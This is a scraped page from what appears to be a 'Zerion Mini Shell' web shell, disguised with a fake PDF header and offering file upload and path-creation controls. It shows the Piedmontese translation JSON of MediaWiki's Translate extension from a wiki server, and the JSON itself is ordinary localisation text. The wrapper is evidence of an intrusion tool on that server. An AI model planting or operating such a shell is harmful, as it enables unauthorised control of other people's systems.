%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/extensions/Translate/i18n/core/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/extensions/Translate/i18n/core/pms.json

{
	"@metadata": {
		"authors": [
			"Borichèt",
			"Bèrto 'd Sèra",
			"Dragonòt"
		]
	},
	"translate": "Viragi",
	"translate-desc": "[[Special:Translate|Pàgina special]] për le tradussion ëd MediaWiki e ancor ëd pì",
	"translate-taskui-export-to-file": "Esporté an formà nativ",
	"translate-taskui-export-as-po": "Esporté da le tradussion fòra linia",
	"translate-taction-translate": "Volté",
	"translate-taction-proofread": "Verìfica",
	"translate-taction-lstats": "Statìstiche ëd lenga",
	"translate-taction-mstats": "Statìstiche dle partìe ëd mëssagi",
	"translate-taction-export": "Esporté",
	"translate-taction-disabled": "Costa assion a l'é disabilità ansima a costa wiki.",
	"translate-page-no-such-language": "La lenga spessificà a l'é nen vàlida.",
	"translate-page-no-such-group": "La partìa spessificà a l'é nen bon-a.",
	"translate-page-disabled": "Le tradussion an costa lenga an costa partìa a son ëstàite disativà.\nRason:\n\n<em>$1</em>",
	"translate-language-disabled": "La tradussion an sta lenga a l'é disabilità.",
	"translate-page-settings-legend": "Configurassion",
	"translate-page-group": "Partìa",
	"translate-page-language": "Lenga",
	"translate-page-limit": "Lìmit",
	"translate-page-limit-option": "$1 {{PLURAL:$1|mëssagi|mëssagi}} për pàgina",
	"translate-submit": "Smon-e",
	"translate-page-navigation-legend": "Navigassion",
	"translate-page-showing": "Visualisassion dij mëssagi da $1 a $2 ansima a 'n total ëd $3.",
	"translate-page-showing-all": "Visualisassion ëd $1 {{PLURAL:$1|mëssagi|mëssagi}}.",
	"translate-page-showing-none": "Gnun mëssagi da mostré.",
	"translate-next": "Pàgina anans",
	"translate-prev": "Pàgina andré",
	"translate-page-description-legend": "Anformassion an sla partìa",
	"translate-page-description-hasoptional": "Sta partìa ëd mëssagi a conten ij mëssagi opsionaj.\nIj Mëssagi opsionaj a dovrìo mach esse voltà quand che soa lenga a l'ha dj'esigense speciaj com ëd nen dovré dë spassi o an trasliteré dij nòm pròpi. $1",
	"translate-page-description-hasoptional-open": "Smon-e ij mëssagi opsionaj.",
	"translate-page-edit": "modifiché",
	"translate-optional": "(opsional)",
	"translate-ignored": "(ignorà)",
	"translate-edit-title": "Modìfica \"$1\"",
	"translate-edit-definition": "Definission dël mëssagi",
	"translate-edit-translation": "Tradussion",
	"translate-edit-contribute": "colaboré",
	"translate-edit-no-information": "''Ës mëssagi a l'ha gnun-a documentassion.\nS'a sa andoa o coma 's mëssagi a l'é dovrà, a peul giuté d'àutri tradutor an giontant dla documentassion a cost mëssagi.''",
	"translate-edit-information": "Anformassion an sël mëssagi ($1)",
	"translate-edit-in-other-languages": "Mëssagi an d'àutre lenghe",
	"translate-edit-warnings": "Avertensa an sle tradussion incomplete",
	"translate-edit-tmmatch-source": "Test sorgiss dla tradussion: $1",
	"translate-edit-tmmatch": "corëspondensa ëd $1%",
	"translate-use-suggestion": "Rampiassé la tradussion corenta con cost sugeriment.",
	"translate-edit-nopermission": "It l'has dabzògn dij përmess për volté ij mëssagi.",
	"translate-edit-askpermission": "Ciamé ël përmess",
	"translate-magic-pagename": "Viragi estèis ëd MediaWiki",
	"translate-magic-help": "A peul volté j'àlias dle pàgine speciaj, le paròle màgiche e ij nòm ëd jë spassi nominaj.\n\nJ'àlias dle pàgine speciaj e le paròle màgiche a peulo avèj pì che na tradussion.\nLe tradussion a son separà da na vìrgola (,).\nIj nòm ëd jë spassi nominaj a peulo avèj mach na tradussion.\n\nVolté lë spassi nominal ëd discussion dël proget <code>$1 talk</code> a peul esse complicà.\n<code>$1</code> a l'é rampiassà col nòm dël sit dël proget (pr'esempi <code>{{ns:project_talk}}</code>).\nSe an soa lenga as peul nen rivé a n'espression bon-a sensa cambié ël nòm dël sit, për piasì, ch'as buta an contat con noi dzora a [[Support]].\n\nA venta ch'a sia ant la partìa dij tradutor për podèj salvé le modìfiche.\nLe modìfiche as salvo nen fin ch'a-i da nen un colp ëd rat ansima al boton sì-sota.",
	"translate-magic-module": "Mòdol:",
	"translate-magic-submit": "Smon-e",
	"translate-magic-cm-export": "Esporté",
	"translate-magic-nothing-to-export": "A-i é gnente da esporté.",
	"translate-magic-cm-to-be": "da esse",
	"translate-magic-cm-current": "Corent",
	"translate-magic-cm-original": "Original",
	"translate-magic-cm-comment": "Coment:",
	"translate-magic-cm-save": "Salvé",
	"translate-magic-cm-updatedusing": "Agiornà ën dovrand [[Special:AdvancedTranslate|{{int:Translate-magic-pagename}}]]",
	"translate-magic-cm-savefailed": "Salvatagi falì",
	"translate-magic-special": "Àlias dle pàgine speciaj",
	"translate-magic-words": "Paròle màgiche",
	"translate-magic-namespace": "Nòm djë spassi nominaj",
	"translate-magic-notsaved": "Soa modìfica a l'é pa stàita salvà!",
	"translate-magic-errors": "Për piasì, ch'a rangia {{PLURAL:$1|l'eror|j'eror}} si-dapress ant le tradussion:",
	"translate-magic-saved": "Ij sò cambi a son ëstàit salvà con sucess.",
	"translate-checks-parameters": "{{PLURAL:$2|Ël paràmetr sota a l'é|Ij paràmetr sota a son}} pa dovrà:\n<strong><nowiki>$1</nowiki></strong>",
	"translate-checks-parameters-unknown": "{{PLURAL:$2|Ël paràmetr sota a l'é|Ij paràmetr sota a son}} pa conossù:\n<strong><nowiki>$1</nowiki></strong>",
	"translate-checks-balance": "A-i é un nùmer dëscobi ëd {{PLURAL:$2|paréntesi|paréntesi}}:\n<strong><nowiki>$1</nowiki></strong>",
	"translate-checks-links": "{{PLURAL:$2|Ël  colegament sota a l'é|Ij $2 colegament sota a son}} problemàtich:\n<strong><nowiki>$1</nowiki></strong>",
	"translate-checks-links-missing": "{{PLURAL:$2|L'anliura dì-dapress a a l'é|Le $2 anliure sì-dapress a son}} mancante:\n<strong><nowiki>$1</nowiki></strong>",
	"translate-checks-xhtml": "Për piasì rimpiassa {{PLURAL:$2|la tichëtta|le tichëtte}} sì-dapress con cole giuste:\n<strong><nowiki>$1</nowiki></strong>",
	"translate-checks-plural": "La definission a deuvra <nowiki>{{PLURAL:}}</nowiki> ma pa la tradussion.",
	"translate-checks-plural-forms": "<nowiki>{{PLURAL:}}</nowiki> a l'é stàit dovrà ant {{PLURAL:$1|na forma|$1 forme}} ma {{PLURAL:$2|mach na forma a l'é|$2 forme a son}} mantnùe (an gavand le forme 0= e 1=).",
	"translate-checks-plural-dupe": "<nowiki>{{PLURAL:}}</nowiki> a l'ha dle forme duplicà a la fin. <nowiki>{{PLURAL:$1|fèja|fèja}}</nowiki> a dovrìa esse scrivù com <nowiki>{{PLURAL:$1|fèje}}</nowiki>.",
	"translate-checks-pagename": "Spassi nominal cangià da la definission",
	"translate-checks-format": "Sta tradussion-sì a-i va nen dapress a la definission o a l'ha na sintassi pa bon-a: $1",
	"translate-checks-escape": "Le scapade sì-dapress a peulo esse casuaj: <strong>$1</strong>",
	"translate-checks-parametersnotequal": "Ël conteur dij paràmetr a l'é {{PLURAL:$1|$1}}; a dovrìa esse {{PLURAL:$2|$2}}.",
	"translate-checks-malformed": "<nowiki>$1</nowiki> a va nen bin.",
	"translate-checks-fudforum-syntax": "Dovré <nowiki>$1</nowiki> nopà ëd <nowiki>$2</nowiki> an cost proget-sì.",
	"translate-pref-nonewsletter": "Mandeme nen ij mëssagi d'anformassion an pòsta eletrònica",
	"translate-pref-editassistlang": "Lenghe dl'assistent:",
	"prefs-translate": "Opsion ëd tradussion",
	"translate-pref-editassistlang-help": "Lista dij còdes ëd le lenghe separà da na vìrgola.\nLa tradussion d'un mëssagi an ste lenghe-sì a l'é mostrà quand ch'a l'é an camin a fé la tradussion.\nLa lista dle lenghe dë stàndard a dipend da soa lenga.",
	"translate-pref-editassistlang-bad": "Còdes ëd lenga pa bon ant la lista:\n<nowiki>$1</nowiki>.",
	"right-translate": "Modifiché an dovrand l'antërfacia ëd tradussion",
	"right-translate-manage": "Aministré le partìe ëd mëssagi",
	"action-translate-manage": "gestì le partìe ëd mëssagi",
	"right-translate-import": "Amporté le tradussion fòra 'd linia",
	"action-translate-import": "amporté le tradussion fòra 'd linia",
	"right-translate-messagereview": "Revision-a le tradussion",
	"right-translate-groupreview": "Cangia lë stat dël fluss ëd travaj dle partìe ëd mëssagi",
	"translate-rc-translation-filter": "Filtré le tradussion:",
	"translate-rc-translation-filter-no": "Fé gnente",
	"translate-rc-translation-filter-only": "Smon-e mach le tradussion",
	"translate-rc-translation-filter-filter": "Eliminé le tradussion",
	"translate-rc-translation-filter-site": "Mach le modìfiche ai mëssagi dël sit",
	"translationstats": "Statìstiche ëd tradussion",
	"translate-stats-edits": "Modìfiche",
	"translate-stats-users": "Tradutor",
	"translate-stats-registrations": "Registrassion",
	"translate-stats-reviews": "Revision",
	"translate-stats-reviewers": "Revisor",
	"translate-statsf-intro": "A peul generé dle statìstiche sempie con cost formolari.\nTùit ij valor a l'han dij lìmit superior e anferior.",
	"translate-statsf-options": "Opsion ëd graf",
	"translate-statsf-width": "Larghëssa an pontin:",
	"translate-statsf-height": "Autëssa an pontin:",
	"translate-statsf-days": "Antërval ëd temp an di:",
	"translate-statsf-start": "Dàita ëd prinsipi:",
	"translate-statsf-scale": "Granularità:",
	"translate-statsf-scale-months": "Mèis",
	"translate-statsf-scale-weeks": "Sman-e",
	"translate-statsf-scale-days": "Di",
	"translate-statsf-scale-hours": "Ore",
	"translate-statsf-count": "Mzura:",
	"translate-statsf-count-edits": "Nùmer ëd modìfiche",
	"translate-statsf-count-users": "Tradutor ativ",
	"translate-statsf-count-registrations": "Utent neuv",
	"translate-statsf-count-reviews": "Revision ëd tradussion",
	"translate-statsf-count-reviewers": "Revisor",
	"translate-statsf-language": "Lista dij còdes ëd le lenghe separà da 'd vìrgole:",
	"translate-statsf-group": "Lista ëd còdes ëd partìe separà da 'd vìrgole:",
	"translate-statsf-submit": "Preuva",
	"translate-tag-page-desc": "Tradussion dla pàgina wiki [[$2|$1]].",
	"translate-sidebar-alltrans": "Ant j'àutre lenghe",
	"translations": "Tute le tradussion",
	"translations-summary": "Buté un nòm ëd mëssagi sì-sota për vëdde tute le tradussion disponìbij.",
	"translate-translations-no-message": "\"$1\" a l'é nen un mëssagi voltàbil",
	"translate-translations-none": "A-i é pa ëd tradussion për \"$1\"",
	"translate-translations-count": "Trovà {{PLURAL:$1|na tradussion|$1 tradussion}}.",
	"translate-translations-fieldset-title": "Mëssagi",
	"translate-translations-messagename": "Nòm:",
	"translate-translations-project": "Proget:",
	"translate-translations-including-no-param": "Për piasì, ch'a spessìfica na ciav ëd mëssagi bon-a ant ël paràmetr ëd la sot-pàgina",
	"translate-translations-history-short": "h",
	"languagestats": "Statìstiche dle lenghe",
	"languagestats-summary": "Sta pàgina-sì a smon le statìstiche ëd tradussion për tute le partìe ëd mëssagi për na lenga.",
	"languagestats-stats-for": "Statìstiche ëd tradussion për $1 ($2).",
	"languagestats-recenttranslations": "tradussion recente",
	"translate-langstats-incomplete": "Quaidun-e dle statìstiche su costa pàgina a son incomplete. Për piasì, ch'a torna a carié për oten-e pi dë statìstiche.",
	"translate-langstats-expand": "deurbe",
	"translate-langstats-collapse": "sëré",
	"translate-langstats-expandall": "deurbe tut",
	"translate-langstats-collapseall": "saré tut",
	"translate-language-code": "Còdes ëd lenga",
	"translate-language-code-field-name": "Còdes ëd lenga:",
	"translate-suppress-complete": "Stërma le partìe ëd mëssagi voltà completament",
	"translate-ls-noempty": "Stërma le partìe ëd mëssagi completament nen voltà",
	"translate-language": "Lenga:",
	"translate-total": "Mëssagi",
	"translate-untranslated": "Nen voltà",
	"translate-percentage-complete": "Completà",
	"translate-percentage-fuzzy": "Veje",
	"translate-languagestats-overall": "Tute le partìe ëd mëssagi ansema",
	"translate-ls-submit": "Smon-e le statìstiche",
	"translate-ls-column-group": "Partìa ëd mëssagi",
	"translate-mgs-pagename": "Statìstiche dle partìe ëd mëssagi",
	"translate-mgs-fieldset": "Visualisa ij tò gust",
	"translate-mgs-group": "Partìa ëd mëssagi:",
	"translate-mgs-nocomplete": "Smon-e nen le lenghe che a l'han livrà soa tradussion",
	"translate-mgs-noempty": "Smon-e nen le lenghe che a l'han gnun-e tradussion",
	"translate-mgs-submit": "Smon-e le statìstiche",
	"translate-mgs-column-language": "Lenga",
	"translate-mgs-totals": "Tute le lenghe ansema",
	"translate-mgs-invalid-group": "La partìa $1 specificà a esist pa.",
	"translate-mgs-nothing": "Gnente da mostré për le statìstiche ciamà.",
	"supportedlanguages": "Lenghe mantnùe",
	"supportedlanguages-summary": "Costa pàgina a smon na lista ëd tute le lenghe mantnùe da {{SITENAME}}, ansema ai nòm dij tradutor ch'a travajo an cole lenghe.\nUn nòm d'un tradutor as vëdd pi gròss, tante pi modìfiche e tradussion a l'ha fàit.\nËl color ëd na sot-liniadura a mostra quant ëd recent un tradutor a l'é stàit ativ ambelessì.",
	"supportedlanguages-colorlegend": "Legenda për ël color: L'ùltima tradussion $1 di fà.",
	"supportedlanguages-translators": "{{PLURAL:$2|Tradutor|Tradutor}}: $1",
	"supportedlanguages-recenttranslations": "tradussion recente",
	"supportedlanguages-count": "$1 {{PLURAL:$1|lenghe|lenghe}} an total.",
	"supportedlanguages-activity": "$1: $2 {{PLURAL:$2|modìfica|modìfiche}} - ùltima modìfica $3 {{PLURAL:$3|di|di}} fà",
	"translate-save": "Salva ($1)",
	"translate-jssti-add": "Gionté a la lista",
	"managemessagegroups": "Gestion ëd la partìa dij mëssagi",
	"translate-smg-notallowed": "It peule pa fé st'assion-sì.",
	"translate-smg-nochanges": "A-i é gnun-a modìfica da traté.",
	"translate-smg-submit": "Spedì le modìfiche da traté",
	"translate-smg-submitted": "Le definission dij mëssagi a son stàite modificà. Le modìfiche a son tratà an slë sfond.",
	"translate-smg-left": "Contnù dël mëssagi ant la wiki",
	"translate-smg-right": "Modìfiche an cors ëd traferiment",
	"translate-manage-import-diff": "Mëssagi $1 | Assion: $2",
	"translate-manage-import-new": "Mëssagi neuv $1",
	"translate-manage-import-deleted": "Mëssagi scancelà $1",
	"translate-manage-action-import": "Ampòrta",
	"translate-manage-action-conflict": "Amporté e marché tanme tërbol",
	"translate-manage-action-ignore": "Ignora",
	"translate-manage-action-fuzzy": "Amporté le tradussion e marcheje tanme tërbole",
	"translate-manage-nochanges": "A-i é pa ëd cangiament ant le definission dij mëssagi për sta partìa-sì.",
	"translate-manage-nochanges-other": "A-i é pa ëd cangiament për sta lenga-sì.\nCh'a deuvra l'anliura sì-dapress për artorné a la vista ëd detaj dla partìa.",
	"translate-manage-inconsistent": "Trovà d'anconsistense ant l'arcesta.\nPër piasì, ch'a contròla ij cangiament e ch'a preuva torna.\nDetaj: $1.",
	"translate-manage-toolong": "Passà ël temp màssim ëd tratament ëd $1 {{PLURAL:$1|second|second}}.\nPër piasì, ch'a spedissa torna ël formolari për continué ël process.",
	"translate-manage-import-summary": "Amportassion ëd na neuva version da na sorgiss esterna",
	"translate-manage-conflict-summary": "Amportassion ëd na neuva version da na sorgiss esterna.\nPër piasì, ch'a controla.",
	"translate-manage-submit": "Fé andé",
	"translate-manage-intro-other": "Sota a-i é na lista ëd cangiament ëd le tradussion ant la lenga $1.\nPër piasì, ch'a revision-a ij cangiament e ch'a serna n'assion ch'a veul fé për minca tradussion.\nS'a sern d'ignoré ij cangiament, a saran coatà durant l'esportassion ch'a-i ven.",
	"translate-manage-import-ok": "Amportà na neuva version ëd la pàgina $1.",
	"translate-manage-import-done": "Tut fàit!",
	"importtranslations": "Amporté dle tradussion",
	"translate-import-from-local": "Carié n'archivi local:",
	"translate-import-load": "Carié l'archivi",
	"translate-import-err-dl-failed": "L'archivi as peul pa argionz-se:\n$1",
	"translate-import-err-ul-failed": "Ël cariagi dl'archivi a l'ha pa marcià",
	"translate-import-err-invalid-title": "Ël nòm dl'archivi dàit <nowiki>$1</nowiki>  a l'é pa bon.",
	"translate-import-err-no-such-file": "L'archivi <nowiki>$1</nowiki> a esist pa o a l'é pa stàit carià localment.",
	"translate-import-err-stale-group": "La partìa ëd mëssagi anté ch'a ponta s'archivi a esist pa.",
	"translate-import-err-no-headers": "L'archivi a l'é pa n'archivi Gettext bin formà ant ël formà dl'estension Translate:\nAs peul pa determinesse la partìa e la lenga da l'antestassion dl'archivi.",
	"translate-import-err-warnings": "L'archivi a l'é pa bin formà.\nCh'as sigura che sò editor a gava pa ij camp msgctxt.\nDetaj: $1",
	"translate-js-summary": "Resumé:",
	"translate-js-save": "Salva",
	"translate-js-next": "Salvé e duverté col apress",
	"translate-js-skip": "Sàuta a col ch'a ven",
	"translate-js-history": "Stòria dël viragi",
	"translate-js-support": "Ciama",
	"translate-js-support-title": "Ch'a ciama d'agiut s'a-i é pa basta d'anformassion për volté bin cost mëssagi.",
	"translate-js-support-unsaved-warning": "A l'ha dle tradussion nen salvà.",
	"translate-gs-pos": "Pos.",
	"translate-gs-code": "Còdes",
	"translate-gs-continent": "Continent",
	"translate-gs-speakers": "Parlant",
	"translate-gs-score": "Pontegi",
	"translate-gs-multiple": "Mùltipl",
	"translate-gs-count": "Cont",
	"translate-gs-total": "Total",
	"translate-gs-avgscore": "Pontegi medi",
	"translate-documentation-language": "Documentassion dël mëssagi",
	"translate-searchprofile": "Tradussion",
	"translate-searchprofile-tooltip": "Sërché an tute le tradussion",
	"translate-search-languagefilter": "Filtra për lenga:",
	"translate-search-nofilter": "Filtra pa",
	"log-name-translationreview": "Registr dle revision ëd tradussion",
	"log-description-translationreview": "Registr ëd tute le revision a le tradussion e a le partìe ëd mëssagi.",
	"logentry-translationreview-message": "$1 {{GENDER:$2|a l'ha acetà}} la tradussion $3",
	"translate-workflow-state-": "(disativà)",
	"translate-workflowstatus": "Stat: $1",
	"translate-workflow-set-doing": "Ativassion...",
	"translate-workflow-autocreated-summary": "Creassion automàtica ëd la pàgina për lë stat dël process ëd travaj $1",
	"translate-stats-workflow": "Stat",
	"translate-workflowgroup-label": "Stat dël process ëd travaj",
	"translate-workflowgroup-desc": "Sta partìa ëd mëssagi a mostra jë stat dël process ëd travaj ëd tradussion.\nJë stat a son definì ant la variàbil ëd configurassion $wgTranslateWorkflowStates.",
	"translate-dynagroup-recent-label": "Tradussion recente",
	"translate-dynagroup-recent-desc": "Sta partìa ëd mëssagi a smon tute le tradussion recente an costa lenga.\nA ven dzortut a taj con ij travaj ëd revision.",
	"translate-dynagroup-additions-label": "Gionte recente",
	"translate-dynagroup-additions-desc": "Costa partìa ëd mëssagi a smon dij mëssagi neuv e modificà.",
	"translate-msggroupselector-projects": "Partìa ëd mëssagi",
	"translate-msggroupselector-search-placeholder": "Sërché le partìe",
	"translate-msggroupselector-search-all": "Tùit",
	"translate-msggroupselector-search-recent": "Recent",
	"translate-msggroupselector-view-subprojects": "$1 {{PLURAL:$1|sot-partìa|sot-partìe}}",
	"tux-languageselector": "Volté an",
	"tux-tab-all": "Tùit",
	"tux-tab-untranslated": "Nen voltà",
	"tux-tab-outdated": "Veje",
	"tux-tab-translated": "Voltà",
	"tux-edit": "Modìfica",
	"tux-status-optional": "Opsional",
	"tux-status-fuzzy": "Veje",
	"tux-status-proofread": "Verìfica",
	"tux-status-translated": "Voltà",
	"tux-status-saving": "Salvé...",
	"tux-status-unsaved": "Pa salvà",
	"tux-editor-placeholder": "Toa tradussion",
	"tux-editor-save-button-label": "Salvé la tradussion",
	"tux-editor-skip-button-label": "Sàuta a col ch'a ven",
	"tux-editor-shortcut-info": "Sgnaca \"$1\" për salvé o \"$2\" për sauté al mëssagi ch'a ven",
	"tux-editor-edit-desc": "Modifiché la descrission",
	"tux-editor-add-desc": "Gionté na descrission",
	"tux-editor-suggestions-title": "Sugeriment",
	"tux-editor-in-other-languages": "Ant j'àutre lenghe",
	"tux-editor-need-more-help": "Dabzògn ëd pi d'agiut?",
	"tux-editor-ask-help": "Ciama për savèjne ëd pi",
	"tux-editor-tm-match": "corëspondensa ëd $1%",
	"tux-warnings-more": "{{PLURAL:$1|$1 pi}}",
	"tux-warnings-hide": "stërma",
	"tux-editor-save-failed": "Falì a salvé la tradussion: $1",
	"tux-editor-message-desc-more": "Visualisé ëd pi",
	"tux-editor-message-desc-less": "Vëdde ëd men",
	"tux-editor-clear-translated": "Stërmé coj voltà",
	"tux-editor-outdated-warning": "Costa tradussion a peul avèj dabzògn d'esse agiornà.",
	"tux-editor-outdated-warning-diff-link": "Smon-e le diferense",
	"tux-editor-doc-editor-save": "Salvé la documentassion",
	"tux-editor-doc-editor-cancel": "Scancela",
	"tux-messagetable-more-messages": "$1 {{PLURAL:$1|mëssagi}} ëd pi",
	"tux-messagetable-loading-messages": "Cariagi {{PLURAL:$1|dël mëssagi|dij mëssagi}}..."
}

Zerion Mini Shell 1.0